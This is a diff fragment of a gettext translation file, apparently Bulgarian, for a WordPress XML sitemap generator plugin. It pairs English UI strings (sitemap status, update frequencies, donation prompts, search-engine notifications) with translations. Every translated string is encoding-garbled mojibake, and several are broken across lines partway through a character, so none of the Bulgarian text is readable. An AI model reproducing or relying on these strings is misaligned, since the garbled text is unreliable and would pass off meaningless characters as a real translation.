+msgstr "ÐÐ·Ð¿ÐŸÐ»Ð·Ð²Ð° Ð°ÐºÑÐžÐ²ÐžÑÐ°Ðœ <a href=\"%1\">Popularity Contest Plugin</a> ÐŸÑ <a href=\"%2\">Alex King</a>. ÐÐžÐ¶ <a href=\"%3\">ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž</a> Ðž <a href=\"%4\">ÐÐ°Ð¹-Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÐžÑÐµ Ð¿ÐŸÑÑÐŸÐ²Ðµ</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1118
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1209
+msgid "Always"
+msgstr "ÐÐžÐœÐ°Ð³Ðž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1119
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1210
+msgid "Hourly"
+msgstr "ÐÐ¶ÐµÑÐ°ÑÐœÐŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1120
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1211
+msgid "Daily"
+msgstr "ÐÐ¶ÐµÐŽÐœÐµÐ²ÐœÐŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1212
+msgid "Weekly"
+msgstr "ÐÐ¶ÐµÑÐµÐŽÐŒÐžÑÐœÐŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1122
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1213
+msgid "Monthly"
+msgstr "ÐÐ¶ÐµÐŒÐµÑÐµÑÐœÐŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1123
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1214
+msgid "Yearly"
+msgstr "ÐÐ¶ÐµÐ³ÐŸÐŽÐœÐŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1215
+msgid "Never"
+msgstr "ÐÐžÐºÐŸÐ³Ð°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "ÐÐ»Ð°Ð³ÐŸÐŽÐ°ÑÑ ÐÐž ÐŒÐœÐŸÐ³ÐŸ Ð·Ð° ÐŽÐ°ÑÐµÐœÐžÐµÑÐŸ. ÐÐžÐµ ÐŒÐž Ð¿ÐŸÐŒÐ°Ð³Ð°ÑÐµ ÐŽÐ° Ð¿ÑÐŸÐŽÑÐ»Ð¶Ð° ÑÐ°Ð·Ð²ÐžÑÐžÐµÑÐŸ Ðž Ð¿ÐŸÐŽÐŽÑÑÐ¶ÐºÐ°ÑÐ° ÐœÐ° ÑÐŸÐ·Ðž Ð¿Ð»ÑÐ³ÐžÐœ Ðž ÐœÐ° ÐŽÑÑÐ³Ðž Ð±ÐµÐ·Ð¿Ð»Ð°ÑÐœÐž Ð¿ÑÐžÐ»ÐŸÐ¶ÐµÐœÐžÑ Ðž ÑÐŸÑÑÑÐµÑ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:102
+msgid "Hide this notice"
+msgstr "Ð¡ÐºÑÐžÐ²Ð°ÐœÐµ ÐœÐ° ÑÑÐŸÐ±ÑÐµÐœÐžÐµÑÐŸ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "ÐÐ»Ð°Ð³ÐŸÐŽÐ°ÑÑ ÐÐž, ÑÐµ ÐžÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°ÑÐµ ÑÐŸÐ·Ðž Ð¿Ð»ÑÐ³ÐžÐœ! ÐÐžÐµ ÑÑÐµ ÐžÐœÑÑÐ°Ð»ÐžÑÐ°Ð»Ðž Ðž ÐžÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°ÑÐµ ÑÐŸÐ·Ðž Ð¿Ð»ÑÐ³ÐžÐœ Ð¿ÐŸÐ²ÐµÑÐµ ÐŸÑ ÐŒÐµÑÐµÑ. ÐÐºÐŸ ÑÐ°Ð±ÐŸÑÐž ÐŽÐŸÐ±ÑÐµ Ðž ÑÑÐµ ÐŽÐŸÐ²ÐŸÐ»ÐœÐž ÐŸÑ ÑÐµÐ·ÑÐ»ÑÐ°ÑÐ°, ÐœÐµ ÑÐž Ð»Ðž Ð·Ð°ÑÐ»ÑÐ¶Ð°Ð²Ð° Ð¿ÐŸÐœÐµ ÐµÐŽÐžÐœ ÐŽÐŸÐ»Ð°Ñ? <a href=\"%s\">ÐÐ°ÑÐµÐœÐžÑÑÐ°</a> ÐŒÐž Ð¿ÐŸÐŒÐ°Ð³Ð°Ñ ÐŽÐ° Ð¿ÑÐŸÐŽÑÐ»Ð¶Ð° ÑÐ°Ð·Ð²ÐžÑÐžÐµÑÐŸ Ðž Ð¿ÐŸÐŽÐŽÑÑÐ¶ÐºÐ°ÑÐ° ÐœÐ° ÑÐŸÐ·Ðž <i>Ð±ÐµÐ·Ð¿Ð»Ð°ÑÐµÐœ</i> ÑÐŸÑÑÑÐµÑ! <a href=\"%s\">Ð Ð°Ð·Ð±ÐžÑÐ° ÑÐµ, ÐœÑÐŒÐ° Ð¿ÑÐŸÐ±Ð»ÐµÐŒÐž!</a> "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:108
+msgid "No thanks, please don't bug me anymore!"
+msgstr "ÐÐµ Ð±Ð»Ð°Ð³ÐŸÐŽÐ°ÑÑ, ÐŒÐŸÐ»Ñ, ÐœÐµ ÐŒÐµ Ð±ÐµÐ·Ð¿ÐŸÐºÐŸÐ¹ÑÐµ Ð¿ÐŸÐ²ÐµÑÐµ!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:67
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:119
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr "ÐÐ°ÑÐ°ÑÐ° ÐºÐ°ÑÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ° ÑÐµ ÐŸÐ±ÐœÐŸÐ²ÑÐ²Ð° Ð² ÐŒÐŸÐŒÐµÐœÑÐ°. Ð Ð·Ð°Ð²ÐžÑÐžÐŒÐŸÑÑ ÐŸÑ Ð³ÐŸÐ»ÐµÐŒÐžÐœÐ°ÑÐ° ÐœÐ° Ð±Ð»ÐŸÐ³Ð°, ÑÐŸÐ²Ð° Ð±Ðž ÐºÐŸÑÑÐ²Ð°Ð»ÐŸ ÐžÐ·Ð²ÐµÑÑÐœÐŸ Ð²ÑÐµÐŒÐµ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:69
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:121
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr "ÐÐ°ÑÐ°ÑÐ° ÐºÐ°ÑÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ° ÑÐµ Ð±ÑÐŽÐµ ÐŸÐ±ÐœÐŸÐ²ÐµÐœÐ° ÑÐ»ÐµÐŽ %s ÑÐµÐºÑÐœÐŽÐž. Ð Ð·Ð°Ð²ÐžÑÐžÐŒÐŸÑÑ ÐŸÑ Ð³ÐŸÐ»ÐµÐŒÐžÐœÐ°ÑÐ° ÐœÐ° Ð±Ð»ÐŸÐ³Ð°, ÑÐŸÐ²Ð° Ð±Ðž ÐºÐŸÑÑÐ²Ð°Ð»ÐŸ ÐžÐ·Ð²ÐµÑÑÐœÐŸ Ð²ÑÐµÐŒÐµ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:146
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:441
+msgid "XML Sitemap Generator for WordPress"
+msgstr "XML Sitemap ÐÐµÐœÐµÑÐ°ÑÐŸÑ Ð·Ð° WordPress"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:278
+msgid "Configuration updated"
+msgstr "ÐÐŸÐœÑÐžÐ³ÑÑÐ°ÑÐžÑÑÐ° Ðµ ÐŸÐ±ÐœÐŸÐ²ÐµÐœÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:279
+msgid "Error while saving options"
+msgstr "ÐÑÐµÑÐºÐ° Ð¿ÑÐž Ð·Ð°Ð¿Ð°Ð·Ð²Ð°ÐœÐµ ÐœÐ° ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐžÑÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:281
+msgid "Pages saved"
+msgstr "Ð¡ÑÑÐ°ÐœÐžÑÐžÑÐµ ÑÐ° Ð·Ð°Ð¿Ð°ÐŒÐµÑÐµÐœÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:282
+msgid "Error while saving pages"
+msgstr "ÐÑÐµÑÐºÐ° Ð¿ÑÐž Ð·Ð°Ð¿Ð°ÐŒÐµÑÑÐ²Ð°ÐœÐµ ÐœÐ° ÑÑÑÐ°ÐœÐžÑÐžÑÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:286
+#, php-format
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "Ð€Ð°Ð¹Ð»Ð° <a href=\"%s\">Robots.txt</a> Ðµ Ð·Ð°Ð¿Ð°Ð·ÐµÐœ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:288
+msgid "Error while saving Robots.txt file"
+msgstr "ÐÑÐµÑÐºÐ° Ð¿ÑÐž Ð·Ð°Ð¿Ð°Ð·Ð²Ð°ÐœÐµÑÐŸ ÐœÐ° ÑÐ°Ð¹Ð»Ð° robots.txt"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:297
+msgid "The default configuration was restored."
+msgstr "Ð¡ÑÐ°ÐœÐŽÐ°ÑÑÐœÐžÑÐµ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž ÑÐ° Ð²ÑÐ·ÑÑÐ°ÐœÐŸÐ²ÐµÐœÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:374
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:454
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr "ÐÐŒÐ° ÐœÐŸÐ²Ð° Ð²ÐµÑÑÐžÑ ÐœÐ° %1$s. <a href=\"%2$s\">ÐÐ·ÑÐµÐ³Ð»ÐµÑÐµ Ð²ÐµÑÑÐžÑ %3$s ÑÑÐº</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:376
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:456
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "ÐÐŒÐ° ÐœÐŸÐ²Ð° Ð²ÐµÑÑÐžÑ ÐœÐ° %1$s. <a href=\"%2$s\">ÐÐ·ÑÐµÐ³Ð»Ðž Ð²ÐµÑÑÐžÑ %3$s ÑÑÐº</a> <em>ÐœÐµÐ²ÑÐ·ÐŒÐŸÐ¶ÐœÐŸ Ðµ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐœÐŸ ÐŸÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐµ Ð·Ð° ÑÐŸÐ²Ð° ÑÐ°Ð·ÑÐžÑÐµÐœÐžÐµ</em>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:458
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr "ÐÐŒÐ° ÐœÐŸÐ²Ð° Ð²ÐµÑÑÐžÑ ÐœÐ° %1$s. <a href=\"%2$s\">ÐÐ·ÑÐµÐ³Ð»Ðž Ð²ÐµÑÑÐžÑ %3$s ÑÑÐº</a> ÐžÐ»Ðžr <a href=\"%4$s\">ÐŸÐ±ÐœÐŸÐ²Ðž Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐœÐŸ</a>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:481
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:498
+msgid "open"
+msgstr "ÐŸÑÐ²ÐŸÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:482
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:499
+msgid "close"
+msgstr "Ð·Ð°ÑÐ²ÐŸÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:483
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:500
+msgid "click-down and drag to move this box"
+msgstr "ÐºÐ»ÐžÐºÐœÐµÑÐµ Ñ ÐŒÐžÑÐºÐ°ÑÐ° Ð²ÑÑÑ
+Ñ ÐºÑÑÐžÑÑÐ° Ðž Ð¿ÑÐŸÐ²Ð»Ð°ÑÐµÑÐµ Ð·Ð° ÐŽÐ° Ñ Ð¿ÑÐµÐŒÐµÑÑÐžÑÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:484
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:501
+msgid "click to %toggle% this box"
+msgstr "ÐºÐ»ÐžÐºÐœÐµÑÐµ Ð·Ð° ÐŽÐ° %toggle% ÐºÑÑÐžÑÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:485
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:502
+msgid "use the arrow keys to move this box"
+msgstr "ÐžÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°Ð¹ÑÐµ Ð±ÑÑÐŸÐœÐžÑÐµ ÑÑÑ ÑÑÑÐµÐ»ÐºÐžÑÐµ Ð·Ð° Ð¿ÑÐµÐŒÐµÑÑÐ²Ð°ÐœÐµ ÐœÐ° ÐºÑÑÐžÑÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:486
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:503
+msgid ", or press the enter key to %toggle% it"
+msgstr ", ÐžÐ»Ðž ÐœÐ°ÑÐžÑÐœÐµÑÐµ Ð±ÑÑÐŸÐœÐ° Enter Ð·Ð° ÐŽÐ° Ð³ÐŸ %toggle%"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:521
+msgid "About this Plugin:"
+msgstr "ÐÐ° Ð¿Ð»ÑÐ³ÐžÐœÐ°:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:522
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:138
+msgid "Plugin Homepage"
+msgstr "Ð¡ÑÑÐ°ÐœÐžÑÐ° ÐœÐ° Ð¿Ð»ÑÐ³ÐžÐœÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:421
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:523
+msgid "Suggest a Feature"
+msgstr "ÐÑÐµÐŽÐ»ÐŸÐ¶Ðž ÐÐŸÐ²Ð° ÐÑÐ·ÐŒÐŸÐ¶ÐœÐŸÑÑ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:524
+msgid "Notify List"
+msgstr "E-Mail Ð°Ð±ÐŸÐœÐ°ÐŒÐµÐœÑ Ð·Ð° ÐŸÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐžÑÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:525
+msgid "Support Forum"
+msgstr "Ð€ÐŸÑÑÐŒÐž Ð·Ð° Ð¿ÐŸÐŒÐŸÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:424
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:526
+msgid "Report a Bug"
+msgstr "ÐÐŸÐºÐ»Ð°ÐŽÐ²Ð°Ð¹ Ð·Ð° ÐÑÐ³"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:528
+msgid "Donate with PayPal"
+msgstr "ÐÐ°ÑÐµÐœÐžÐµ Ñ PayPal"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:529
+msgid "My Amazon Wish List"
+msgstr "ÐÐŸÑÑ ÑÐ¿ÐžÑÑÐº Ñ Ð¶ÐµÐ»Ð°ÐœÐžÑ ÐŸÑ Amazon"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:530
+msgid "translator_name"
+msgstr "Alexander Dichev"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:530
+msgid "translator_url"
+msgstr "http://dichev.com/"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:533
+msgid "Sitemap Resources:"
+msgstr "Sitemap Ð ÐµÑÑÑÑÐž:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:534
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:540
+msgid "Webmaster Tools"
+msgstr "Webmaster Tools"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:535
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "Site Explorer"
+msgstr "Site Explorer"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:538
+msgid "Search Blog"
+msgstr "Search Blog"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:541
+msgid "Webmaster Center Blog"
+msgstr "Webmaster Center Blog"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:543
+msgid "Sitemaps Protocol"
+msgstr "Sitemaps ÐÑÐŸÑÐŸÐºÐŸÐ»"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:544
+msgid "Official Sitemaps FAQ"
+msgstr "ÐÑÐžÑÐžÐ°Ð»ÐœÐž Ð§ÐµÑÑÐŸ ÐÐ°ÐŽÐ°Ð²Ð°ÐœÐž ÐÑÐ¿ÑÐŸÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:545
+msgid "My Sitemaps FAQ"
+msgstr "ÐÐŸÐžÑÐµ Ð§ÐµÑÑÐŸ ÐÐ°ÐŽÐ°Ð²Ð°ÐœÐž ÐÑÐ¿ÑÐŸÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:548
+msgid "Recent Donations:"
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐž ÐÐ°ÑÐµÐœÐžÑ;"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:552
+msgid "List of the donors"
+msgstr "Ð¡Ð¿ÐžÑÑÐº ÐœÐ° ÐŽÐ°ÑÐžÑÐµÐ»ÐžÑÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:554
+msgid "Hide this list"
+msgstr "Ð¡ÐºÑÐžÐ¹ÑÐµ ÑÐŸÐ·Ðž ÑÐ¿ÐžÑÑÐº"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:557
+msgid "Thanks for your support!"
+msgstr "ÐÐ»Ð°Ð³ÐŸÐŽÐ°ÑÑ Ð·Ð° Ð¿ÐŸÐŒÐŸÑÑÐ°!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:575
+msgid "Status"
+msgstr "Ð¡ÑÐ°ÑÑÑ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:583
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "ÐÑÐµ ÐŸÑÐµ ÐœÐµ Ðµ ÑÑÐ·ÐŽÐ°ÐŽÐµÐœ sitemap-ÑÐ°Ð¹Ð». ÐÑ <a href=\"%s\">ÑÐ°Ð·Ðž Ð²ÑÑÐ·ÐºÐ°</a> Ð³ÐµÐœÐµÑÐžÑÐ°Ð¹ÑÐµ ÐºÐ°ÑÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ° Ð·Ð° Ð¿ÑÑÐ²Ðž Ð¿ÑÑ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:589
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "ÐÐ°ÑÐžÑÑ <a href=\"%url%\">sitemap-ÑÐ°Ð¹Ð»</a> Ð±ÐµÑÐµ ÑÑÐ·ÐŽÐ°ÐŽÐµÐœ ÑÑÐ¿ÐµÑÐœÐŸ ÐœÐ° <b>%date%</b>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:591
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ÐÐŒÐ°ÑÐµ Ð¿ÑÐŸÐ±Ð»ÐµÐŒ Ð¿ÑÐž Ð·Ð°Ð¿ÐžÑÐ²Ð°ÐœÐµÑÐŸ ÐœÐ° sitemap-ÑÐ°Ð¹Ð»Ð°. ÐÐŸÐ»Ñ, ÑÐ²ÐµÑÐµÑÐµ ÑÐµ, ÑÐµ ÑÐ°Ð¹Ð»Ð° Ðµ ÑÐ°Ð·ÑÐµÑÐµÐœ Ð·Ð° Ð¿ÑÐµÐ·Ð°Ð¿ÐžÑÐ²Ð°ÐœÐµ. <a href=\"%url%\">ÐÐŸÐ²ÐµÑÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÑ</a>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:598
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "ÐÐ°ÑÐžÑÑ <a href=\"%url%\">Ð°ÑÑ
+ÐžÐ²ÐžÑÐ°Ðœ sitemap-ÑÐ°Ð¹Ð»</a> Ð±ÐµÑÐµ ÑÑÐ·ÐŽÐ°ÐŽÐµÐœ ÑÑÐ¿ÐµÑÐœÐŸ ÐœÐ° <b>%date%</b>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:600
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ÐÐŒÐ°ÑÐµ Ð¿ÑÐŸÐ±Ð»ÐµÐŒ Ð¿ÑÐž Ð·Ð°Ð¿ÐžÑÐ²Ð°ÐœÐµÑÐŸ ÐœÐ° Ð°ÑÑ
+ÐžÐ²ÐžÑÐ°ÐœÐžÑ sitemap-ÑÐ°Ð¹Ð». ÐÐŸÐ»Ñ, ÑÐ²ÐµÑÐµÑÐµ ÑÐµ, ÑÐµ ÑÐ°Ð¹Ð»Ð° Ðµ ÑÐ°Ð·ÑÐµÑÐµÐœ Ð·Ð° Ð¿ÑÐµÐ·Ð°Ð¿ÐžÑÐ²Ð°ÐœÐµ. <a href=\"%url%\">ÐÐŸÐ²ÐµÑÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÑ</a>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:606
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google Ð±ÐµÑÐµ <b>ÑÐ²ÐµÐŽÐŸÐŒÐµÐœ ÑÑÐ¿ÐµÑÐœÐŸ</b> Ð·Ð° Ð¿ÑÐŸÐŒÐµÐœÐžÑÐµ Ð² Ð±Ð»ÐŸÐ³Ð°."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:609
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "ÐÑÐœÐµ %time% ÑÐµÐºÑÐœÐŽÐž Ð·Ð° ÑÐ²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµÑÐŸ ÐœÐ° Google Ð°ÐºÐŸ Ð¶ÐµÐ»Ð°ÐµÑÐµ ÐŽÐ° ÐœÐ°ÐŒÐ°Ð»ÐžÑÐµ Ð²ÑÐµÐŒÐµÑÐŸ Ð·Ð° Ð³ÐµÐœÐµÑÐžÑÐ°ÐœÐµ ÐŒÐŸÐ¶ÐµÑÐµ ÐŽÐ° ÐŽÐµÐ°ÐºÑÐžÐ²ÐžÑÐ°ÑÐµ ÑÐ°Ð·Ðž ÑÑÐœÐºÑÐžÑ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:612
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "ÐÐŒÐ°ÑÐµ Ð¿ÑÐŸÐ±Ð»ÐµÐŒ Ñ ÑÐ²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµÑÐŸ ÐœÐ° Google. <a href=\"%s\">ÐÐžÐ¶ ÑÐµÐ·ÑÐ»ÑÐ°ÑÐ°</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:618
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "YAHOO Ð±ÐµÑÐµ <b>ÑÐ²ÐµÐŽÐŸÐŒÐµÐœ ÑÑÐ¿ÐµÑÐœÐŸ</b> Ð·Ð° Ð¿ÑÐŸÐŒÐµÐœÐžÑÐµ Ð² Ð±Ð»ÐŸÐ³Ð°."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:621
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "ÐÑÐœÐµ %time% ÑÐµÐºÑÐœÐŽÐž Ð·Ð° ÑÐ²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµÑÐŸ ÐœÐ° YAHOO Ð°ÐºÐŸ Ð¶ÐµÐ»Ð°ÐµÑÐµ ÐŽÐ° ÐœÐ°ÐŒÐ°Ð»ÐžÑÐµ Ð²ÑÐµÐŒÐµÑÐŸ Ð·Ð° Ð³ÐµÐœÐµÑÐžÑÐ°ÐœÐµ ÐŒÐŸÐ¶ÐµÑÐµ ÐŽÐ° ÐŽÐµÐ°ÐºÑÐžÐ²ÐžÑÐ°ÑÐµ ÑÐ°Ð·Ðž ÑÑÐœÐºÑÐžÑ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:624
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "ÐÐŒÐ°ÑÐµ Ð¿ÑÐŸÐ±Ð»ÐµÐŒ Ñ ÑÐ²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµÑÐŸ ÐœÐ° YAHOO. <a href=\"%s\">ÐÐžÐ¶ ÑÐµÐ·ÑÐ»ÑÐ°ÑÐ°</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:630
+msgid "MSN was <b>successfully notified</b> about changes."
+msgstr "MSN Ð±ÐµÑÐµ <b>ÑÐ²ÐµÐŽÐŸÐŒÐµÐœ ÑÑÐ¿ÐµÑÐœÐŸ</b> Ð·Ð° Ð¿ÑÐŸÐŒÐµÐœÐžÑÐµ Ð² Ð±Ð»ÐŸÐ³Ð°."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:633
+msgid "It took %time% seconds to notify MSN.com, maybe you want to disable this feature to reduce the building time."
